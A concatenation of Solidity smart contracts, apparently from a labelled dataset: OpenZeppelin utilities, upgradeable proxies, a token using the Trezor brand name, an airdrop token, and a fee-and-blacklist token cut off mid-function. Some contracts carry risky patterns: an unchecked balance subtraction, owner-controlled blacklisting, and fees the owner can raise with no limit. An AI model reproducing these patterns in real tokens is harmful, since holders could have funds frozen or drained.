function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)
pragma solidity ^0.8.0;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/Strings.sol)
pragma solidity ^0.8.0;
/**
* @dev String operations.
*/
library Strings {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol)
pragma solidity ^0.8.0;
import "./IERC165.sol";
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* ```solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
* ```
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165 is IERC165 {
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165).interfaceId;
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol)
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
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|
pragma solidity ^0.5.0;
// ----------------------------------------------------------------------------
// ERC Trezor Token Standard #20 Interface
//
// ----------------------------------------------------------------------------
contract ERC20Interface {
function totalSupply() public view returns (uint);
function balanceOf(address tokenOwner) public view returns (uint balance);
function allowance(address tokenOwner, address spender) public view returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
// ----------------------------------------------------------------------------
// Safe Math Library
// ----------------------------------------------------------------------------
contract SafeMath {
function safeAdd(uint a, uint b) public pure returns (uint c) {
c = a + b;
require(c >= a);
}
function safeSub(uint a, uint b) public pure returns (uint c) {
require(b <= a); c = a - b; } function safeMul(uint a, uint b) public pure returns (uint c) { c = a * b; require(a == 0 || c / a == b); } function safeDiv(uint a, uint b) public pure returns (uint c) { require(b > 0);
c = a / b;
}
}
contract Trezor is ERC20Interface, SafeMath {
string public name;
string public symbol;
uint8 public decimals; // 18 decimals is the strongly suggested default, avoid changing it
uint256 public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
/**
* Constrctor function
*
* Initializes contract with initial supply tokens to the creator of the contract
*/
constructor() public {
name = "Trezor";
symbol = "TZR";
decimals = 18;
_totalSupply = 100000000;
balances[msg.sender] = _totalSupply;
emit Transfer(address(0), msg.sender, _totalSupply);
}
function totalSupply() public view returns (uint) {
return _totalSupply - balances[address(0)];
}
function balanceOf(address tokenOwner) public view returns (uint balance) {
return balances[tokenOwner];
}
function allowance(address tokenOwner, address spender) public view returns (uint remaining) {
return allowed[tokenOwner][spender];
}
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = safeSub(balances[from], tokens);
allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(from, to, tokens);
return true;
}
} | True | [
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|
// SPDX-License-Identifier: UNLICENSED
// the purpose of this contract is to provide an address that certainly has no private key associated with it
// it has no functions so it cannot transfer tokens that have been sent to it
pragma solidity 0.7.3;
contract BurnAddress {
}
| True | [
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|
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
/**
* @title Proxy
* @dev Implements delegation of calls to other contracts, with proper
* forwarding of return values and bubbling of failures.
* It defines a fallback function that delegates all calls to the address
* returned by the abstract _implementation() internal function.
*/
abstract contract Proxy {
/**
* @dev Fallback function.
* Implemented entirely in `_fallback`.
*/
fallback () payable external {
_fallback();
}
receive () payable external {
_fallback();
}
/**
* @return The Address of the implementation.
*/
function _implementation() virtual internal view returns (address);
/**
* @dev Delegates execution to an implementation contract.
* This is a low level function that doesn't return to its internal call site.
* It will return to the external caller whatever the implementation returns.
* @param implementation Address to delegate.
*/
function _delegate(address implementation) internal {
assembly {
// Copy msg.data. We take full control of memory in this inline assembly
// block because it will not return to Solidity code. We overwrite the
// Solidity scratch pad at memory position 0.
calldatacopy(0, 0, calldatasize())
// Call the implementation.
// out and outsize are 0 because we don't know the size yet.
let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0)
// Copy the returned data.
returndatacopy(0, 0, returndatasize())
switch result
// delegatecall returns 0 on error.
case 0 { revert(0, returndatasize()) }
default { return(0, returndatasize()) }
}
}
/**
* @dev Function that is run as the first thing in the fallback function.
* Can be redefined in derived contracts to add functionality.
* Redefinitions must call super._willFallback().
*/
function _willFallback() virtual internal {
}
/**
* @dev fallback implementation.
* Extracted to enable manual triggering.
*/
function _fallback() internal {
if(OpenZeppelinUpgradesAddress.isContract(msg.sender) && msg.data.length == 0 && gasleft() <= 2300) // for receive ETH only from other contract
return;
_willFallback();
_delegate(_implementation());
}
}
/**
* @title BaseUpgradeabilityProxy
* @dev This contract implements a proxy that allows to change the
* implementation address to which it will delegate.
* Such a change is called an implementation upgrade.
*/
abstract contract BaseUpgradeabilityProxy is Proxy {
/**
* @dev Emitted when the implementation is upgraded.
* @param implementation Address of the new implementation.
*/
event Upgraded(address indexed implementation);
/**
* @dev Storage slot with the address of the current implementation.
* This is the keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1, and is
* validated in the constructor.
*/
bytes32 internal constant IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
/**
* @dev Returns the current implementation.
* @return impl Address of the current implementation
*/
function _implementation() override internal view returns (address impl) {
bytes32 slot = IMPLEMENTATION_SLOT;
assembly {
impl := sload(slot)
}
}
/**
* @dev Upgrades the proxy to a new implementation.
* @param newImplementation Address of the new implementation.
*/
function _upgradeTo(address newImplementation) internal {
_setImplementation(newImplementation);
emit Upgraded(newImplementation);
}
/**
* @dev Sets the implementation address of the proxy.
* @param newImplementation Address of the new implementation.
*/
function _setImplementation(address newImplementation) internal {
require(OpenZeppelinUpgradesAddress.isContract(newImplementation), "Cannot set a proxy implementation to a non-contract address");
bytes32 slot = IMPLEMENTATION_SLOT;
assembly {
sstore(slot, newImplementation)
}
}
}
/**
* @title BaseAdminUpgradeabilityProxy
* @dev This contract combines an upgradeability proxy with an authorization
* mechanism for administrative tasks.
* All external functions in this contract must be guarded by the
* `ifAdmin` modifier. See ethereum/solidity#3864 for a Solidity
* feature proposal that would enable this to be done automatically.
*/
contract BaseAdminUpgradeabilityProxy is BaseUpgradeabilityProxy {
/**
* @dev Emitted when the administration has been transferred.
* @param previousAdmin Address of the previous admin.
* @param newAdmin Address of the new admin.
*/
event AdminChanged(address previousAdmin, address newAdmin);
/**
* @dev Storage slot with the admin of the contract.
* This is the keccak-256 hash of "eip1967.proxy.admin" subtracted by 1, and is
* validated in the constructor.
*/
bytes32 internal constant ADMIN_SLOT = 0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103;
/**
* @dev Modifier to check whether the `msg.sender` is the admin.
* If it is, it will run the function. Otherwise, it will delegate the call
* to the implementation.
*/
modifier ifAdmin() {
if (msg.sender == _admin()) {
_;
} else {
_fallback();
}
}
/**
* @return The address of the proxy admin.
*/
function admin() external ifAdmin returns (address) {
return _admin();
}
/**
* @return The address of the implementation.
*/
function implementation() external ifAdmin returns (address) {
return _implementation();
}
/**
* @dev Changes the admin of the proxy.
* Only the current admin can call this function.
* @param newAdmin Address to transfer proxy administration to.
*/
function changeAdmin(address newAdmin) external ifAdmin {
require(newAdmin != address(0), "Cannot change the admin of a proxy to the zero address");
emit AdminChanged(_admin(), newAdmin);
_setAdmin(newAdmin);
}
/**
* @dev Upgrade the backing implementation of the proxy.
* Only the admin can call this function.
* @param newImplementation Address of the new implementation.
*/
function upgradeTo(address newImplementation) external ifAdmin {
_upgradeTo(newImplementation);
}
/**
* @dev Upgrade the backing implementation of the proxy and call a function
* on the new implementation.
* This is useful to initialize the proxied contract.
* @param newImplementation Address of the new implementation.
* @param data Data to send as msg.data in the low level call.
* It should include the signature and the parameters of the function to be called, as described in
* https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding.
*/
function upgradeToAndCall(address newImplementation, bytes calldata data) payable external ifAdmin {
_upgradeTo(newImplementation);
(bool success,) = newImplementation.delegatecall(data);
require(success);
}
/**
* @return adm The admin slot.
*/
function _admin() internal view returns (address adm) {
bytes32 slot = ADMIN_SLOT;
assembly {
adm := sload(slot)
}
}
/**
* @dev Sets the address of the proxy admin.
* @param newAdmin Address of the new proxy admin.
*/
function _setAdmin(address newAdmin) internal {
bytes32 slot = ADMIN_SLOT;
assembly {
sstore(slot, newAdmin)
}
}
/**
* @dev Only fall back when the sender is not the admin.
*/
function _willFallback() virtual override internal {
require(msg.sender != _admin(), "Cannot call fallback function from the proxy admin");
//super._willFallback();
}
}
interface IAdminUpgradeabilityProxyView {
function admin() external view returns (address);
function implementation() external view returns (address);
}
/**
* @title UpgradeabilityProxy
* @dev Extends BaseUpgradeabilityProxy with a constructor for initializing
* implementation and init data.
*/
abstract contract UpgradeabilityProxy is BaseUpgradeabilityProxy {
/**
* @dev Contract constructor.
* @param _logic Address of the initial implementation.
* @param _data Data to send as msg.data to the implementation to initialize the proxied contract.
* It should include the signature and the parameters of the function to be called, as described in
* https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding.
* This parameter is optional, if no data is given the initialization call to proxied contract will be skipped.
*/
constructor(address _logic, bytes memory _data) public payable {
assert(IMPLEMENTATION_SLOT == bytes32(uint256(keccak256('eip1967.proxy.implementation')) - 1));
_setImplementation(_logic);
if(_data.length > 0) {
(bool success,) = _logic.delegatecall(_data);
require(success);
}
}
//function _willFallback() virtual override internal {
//super._willFallback();
//}
}
/**
* @title AdminUpgradeabilityProxy
* @dev Extends from BaseAdminUpgradeabilityProxy with a constructor for
* initializing the implementation, admin, and init data.
*/
contract AdminUpgradeabilityProxy is BaseAdminUpgradeabilityProxy, UpgradeabilityProxy {
/**
* Contract constructor.
* @param _logic address of the initial implementation.
* @param _admin Address of the proxy administrator.
* @param _data Data to send as msg.data to the implementation to initialize the proxied contract.
* It should include the signature and the parameters of the function to be called, as described in
* https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding.
* This parameter is optional, if no data is given the initialization call to proxied contract will be skipped.
*/
constructor(address _admin, address _logic, bytes memory _data) UpgradeabilityProxy(_logic, _data) public payable {
assert(ADMIN_SLOT == bytes32(uint256(keccak256('eip1967.proxy.admin')) - 1));
_setAdmin(_admin);
}
function _willFallback() override(Proxy, BaseAdminUpgradeabilityProxy) internal {
super._willFallback();
}
}
/**
* @title InitializableUpgradeabilityProxy
* @dev Extends BaseUpgradeabilityProxy with an initializer for initializing
* implementation and init data.
*/
abstract contract InitializableUpgradeabilityProxy is BaseUpgradeabilityProxy {
/**
* @dev Contract initializer.
* @param _logic Address of the initial implementation.
* @param _data Data to send as msg.data to the implementation to initialize the proxied contract.
* It should include the signature and the parameters of the function to be called, as described in
* https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding.
* This parameter is optional, if no data is given the initialization call to proxied contract will be skipped.
*/
function initialize(address _logic, bytes memory _data) public payable {
require(_implementation() == address(0));
assert(IMPLEMENTATION_SLOT == bytes32(uint256(keccak256('eip1967.proxy.implementation')) - 1));
_setImplementation(_logic);
if(_data.length > 0) {
(bool success,) = _logic.delegatecall(_data);
require(success);
}
}
}
/**
* @title InitializableAdminUpgradeabilityProxy
* @dev Extends from BaseAdminUpgradeabilityProxy with an initializer for
* initializing the implementation, admin, and init data.
*/
contract InitializableAdminUpgradeabilityProxy is BaseAdminUpgradeabilityProxy, InitializableUpgradeabilityProxy {
/**
* Contract initializer.
* @param _logic address of the initial implementation.
* @param _admin Address of the proxy administrator.
* @param _data Data to send as msg.data to the implementation to initialize the proxied contract.
* It should include the signature and the parameters of the function to be called, as described in
* https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding.
* This parameter is optional, if no data is given the initialization call to proxied contract will be skipped.
*/
function initialize(address _admin, address _logic, bytes memory _data) public payable {
require(_implementation() == address(0));
InitializableUpgradeabilityProxy.initialize(_logic, _data);
assert(ADMIN_SLOT == bytes32(uint256(keccak256('eip1967.proxy.admin')) - 1));
_setAdmin(_admin);
}
function _willFallback() override(Proxy, BaseAdminUpgradeabilityProxy) internal {
super._willFallback();
}
}
interface IProxyFactory {
function productImplementation() external view returns (address);
function productImplementations(bytes32 name) external view returns (address);
}
/**
* @title ProductProxy
* @dev This contract implements a proxy that
* it is deploied by ProxyFactory,
* and it's implementation is stored in factory.
*/
contract ProductProxy is Proxy {
/**
* @dev Storage slot with the address of the ProxyFactory.
* This is the keccak-256 hash of "eip1967.proxy.factory" subtracted by 1, and is
* validated in the constructor.
*/
bytes32 internal constant FACTORY_SLOT = 0x7a45a402e4cb6e08ebc196f20f66d5d30e67285a2a8aa80503fa409e727a4af1;
function productName() virtual public pure returns (bytes32) {
return 0x0;
}
/**
* @dev Sets the factory address of the ProductProxy.
* @param newFactory Address of the new factory.
*/
function _setFactory(address newFactory) internal {
require(OpenZeppelinUpgradesAddress.isContract(newFactory), "Cannot set a factory to a non-contract address");
bytes32 slot = FACTORY_SLOT;
assembly {
sstore(slot, newFactory)
}
}
/**
* @dev Returns the factory.
* @return factory Address of the factory.
*/
function _factory() internal view returns (address factory) {
bytes32 slot = FACTORY_SLOT;
assembly {
factory := sload(slot)
}
}
/**
* @dev Returns the current implementation.
* @return Address of the current implementation
*/
function _implementation() virtual override internal view returns (address) {
address factory = _factory();
if(OpenZeppelinUpgradesAddress.isContract(factory))
return IProxyFactory(factory).productImplementations(productName());
else
return address(0);
}
}
/**
* @title InitializableProductProxy
* @dev Extends ProductProxy with an initializer for initializing
* factory and init data.
*/
contract InitializableProductProxy is ProductProxy {
/**
* @dev Contract initializer.
* @param factory Address of the initial factory.
* @param data Data to send as msg.data to the implementation to initialize the proxied contract.
* It should include the signature and the parameters of the function to be called, as described in
* https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding.
* This parameter is optional, if no data is given the initialization call to proxied contract will be skipped.
*/
function initialize(address factory, bytes memory data) public payable {
require(_factory() == address(0));
assert(FACTORY_SLOT == bytes32(uint256(keccak256('eip1967.proxy.factory')) - 1));
_setFactory(factory);
if(data.length > 0) {
(bool success,) = _implementation().delegatecall(data);
require(success);
}
}
}
/**
* Utility library of inline functions on addresses
*
* Source https://raw.githubusercontent.com/OpenZeppelin/openzeppelin-solidity/v2.1.3/contracts/utils/Address.sol
* This contract is copied here and renamed from the original to avoid clashes in the compiled artifacts
* when the user imports a zos-lib contract (that transitively causes this contract to be compiled and added to the
* build/artifacts folder) as well as the vanilla Address implementation from an openzeppelin version.
*/
library OpenZeppelinUpgradesAddress {
/**
* Returns whether the target address is a contract
* @dev This function will return false if invoked during the constructor of a contract,
* as the code is not actually created until after the constructor finishes.
* @param account address of the account to check
* @return whether the target address is a contract
*/
function isContract(address account) internal view returns (bool) {
uint256 size;
// XXX Currently there is no better way to check if there is a contract in an address
// than to check the size of the code at that address.
// See https://ethereum.stackexchange.com/a/14016/36603
// for more details about how this works.
// TODO Check this again before the Serenity release, because all addresses will be
// contracts then.
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
} | True | [
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|
pragma solidity ^0.4.16;
contract ForeignToken {
function balanceOf(address _owner) public constant returns (uint256);
function transfer(address _to, uint256 _value) public returns (bool);
}
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public constant returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public constant returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SaferMath {
function mulX(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function divX(uint256 a, uint256 b) internal constant returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal constant returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract GLAU is ERC20 {
address owner = msg.sender;
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
uint256 public totalSupply = 1000000000 * 10**8;
function name() public constant returns (string) { return "GLAU"; }
function symbol() public constant returns (string) { return "GLAU"; }
function decimals() public constant returns (uint8) { return 8; }
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
event DistrFinished();
bool public distributionFinished = false;
modifier canDistr() {
require(!distributionFinished);
_;
}
function GLAU() public {
owner = msg.sender;
balances[msg.sender] = totalSupply;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
owner = newOwner;
}
function getEthBalance(address _addr) constant public returns(uint) {
return _addr.balance;
}
function distributeGLAU(address[] addresses, uint256 _value, uint256 _ethbal) onlyOwner canDistr public {
for (uint i = 0; i < addresses.length; i++) {
if (getEthBalance(addresses[i]) < _ethbal) {
continue;
}
balances[owner] -= _value;
balances[addresses[i]] += _value;
Transfer(owner, addresses[i], _value);
}
}
function balanceOf(address _owner) constant public returns (uint256) {
return balances[_owner];
}
// mitigates the ERC20 short address attack
modifier onlyPayloadSize(uint size) {
assert(msg.data.length >= size + 4);
_;
}
function transfer(address _to, uint256 _amount) onlyPayloadSize(2 * 32) public returns (bool success) {
if (balances[msg.sender] >= _amount
&& _amount > 0
&& balances[_to] + _amount > balances[_to]) {
balances[msg.sender] -= _amount;
balances[_to] += _amount;
Transfer(msg.sender, _to, _amount);
return true;
} else {
return false;
}
}
function transferFrom(address _from, address _to, uint256 _amount) onlyPayloadSize(3 * 32) public returns (bool success) {
if (balances[_from] >= _amount
&& allowed[_from][msg.sender] >= _amount
&& _amount > 0
&& balances[_to] + _amount > balances[_to]) {
balances[_from] -= _amount;
allowed[_from][msg.sender] -= _amount;
balances[_to] += _amount;
Transfer(_from, _to, _amount);
return true;
} else {
return false;
}
}
function approve(address _spender, uint256 _value) public returns (bool success) {
// mitigates the ERC20 spend/approval race condition
if (_value != 0 && allowed[msg.sender][_spender] != 0) { return false; }
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant public returns (uint256) {
return allowed[_owner][_spender];
}
function finishDistribution() onlyOwner public returns (bool) {
distributionFinished = true;
DistrFinished();
return true;
}
function withdrawForeignTokens(address _tokenContract) public returns (bool) {
require(msg.sender == owner);
ForeignToken token = ForeignToken(_tokenContract);
uint256 amount = token.balanceOf(address(this));
return token.transfer(owner, amount);
}
}
/**
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/**
*Submitted for verification at Etherscan.io on 2021-04-17
*/
pragma solidity ^0.4.24;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*/
modifier whenNotPaused() {
require(!paused);
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*/
modifier whenPaused() {
require(paused);
_;
}
/**
* @dev called by the owner to pause, triggers stopped state
*/
function pause() onlyOwner whenNotPaused public {
paused = true;
emit Pause();
}
/**
* @dev called by the owner to unpause, returns to normal state
*/
function unpause() onlyOwner whenPaused public {
paused = false;
emit Unpause();
}
}
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract StandardToken is ERC20 {
using SafeMath for uint256;
uint256 public txFee;
uint256 public burnFee;
address public FeeAddress;
mapping (address => mapping (address => uint256)) internal allowed;
mapping(address => bool) tokenBlacklist;
event Blacklist(address indexed blackListed, bool value);
mapping(address => uint256) balances;
function transfer(address _to, uint256 _value) public returns (bool) {
require(tokenBlacklist[msg.sender] == false);
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
uint256 tempValue = _value;
if(txFee > 0 && msg.sender != FeeAddress){
uint256 DenverDeflaionaryDecay = tempValue.div(uint256(100 / txFee));
balances[FeeAddress] = balances[FeeAddress].add(DenverDeflaionaryDecay);
emit Transfer(msg.sender, FeeAddress, DenverDeflaionaryDecay);
_value = _value.sub(DenverDeflaionaryDecay);
}
if(burnFee > 0 && msg.sender != FeeAddress){
uint256 Burnvalue = tempValue.div(uint256(100 / burnFee));
totalSupply = totalSupply.sub(Burnvalue);
emit Transfer(msg.sender, address(0), Burnvalue);
_value = _value.sub(Burnvalue);
}
// SafeMath.sub will throw if there is not enough balance.
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(tokenBlacklist[msg.sender] == false);
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
uint256 tempValue = _value;
if(txFee > 0 && _from != FeeAddress){
uint256 DenverDeflaionaryDecay = tempValue.div(uint256(100 / txFee));
balances[FeeAddress] = balances[FeeAddress].add(DenverDeflaionaryDecay);
emit Transfer(_from, FeeAddress, DenverDeflaionaryDecay);
_value = _value.sub(DenverDeflaionaryDecay);
}
if(burnFee > 0 && _from != FeeAddress){
uint256 Burnvalue = tempValue.div(uint256(100 / burnFee));
totalSupply = totalSupply.sub(Burnvalue);
emit Transfer(_from, address(0), Burnvalue);
_value = _value.sub(Burnvalue);
}
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function _blackList(address _address, bool _isBlackListed) internal returns (bool) {
require(tokenBlacklist[_address] != _isBlackListed);
tokenBlacklist[_address] = _isBlackListed;
emit Blacklist(_address, _isBlackListed);
return true;
}
}
contract PausableToken is StandardToken, Pausable {
function transfer(address _to, uint256 _value) public whenNotPaused returns (bool) {
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused returns (bool) {
return super.transferFrom(_from, _to, _value);
}
function approve(address _spender, uint256 _value) public whenNotPaused returns (bool) {
return super.approve(_spender, _value);
}
function increaseApproval(address _spender, uint _addedValue) public whenNotPaused returns (bool success) {
return super.increaseApproval(_spender, _addedValue);
}
function decreaseApproval(address _spender, uint _subtractedValue) public whenNotPaused returns (bool success) {
return super.decreaseApproval(_spender, _subtractedValue);
}
function blackListAddress(address listAddress, bool isBlackListed) public whenNotPaused onlyOwner returns (bool success) {
return super._blackList(listAddress, isBlackListed);
}
}
contract CoinToken is PausableToken {
string public name;
string public symbol;
uint public decimals;
event Mint(address indexed from, address indexed to, uint256 value);
event Burn(address indexed burner, uint256 value);
constructor(string memory _name, string memory _symbol, uint256 _decimals, uint256 _supply, uint256 _txFee,uint256 _burnFee,address _FeeAddress,address tokenOwner) public {
name = _name;
symbol = _symbol;
decimals = _decimals;
totalSupply = _supply * 10**_decimals;
balances[tokenOwner] = totalSupply;
owner = tokenOwner;
txFee = _txFee;
burnFee = _burnFee;
FeeAddress = _FeeAddress;
emit Transfer(address(0), tokenOwner, totalSupply);
}
function burn(uint256 _value) public{
_burn(msg.sender, _value);
}
function updateFee(uint256 _txFee,uint256 _burnFee,address _FeeAddress) onlyOwner public{
txFee = _txFee;
burnFee = _burnFee;
FeeAddress = _FeeAddress;
}
function _burn(address _who, uint256 _value) internal {
require(_value <= balances[_who]);
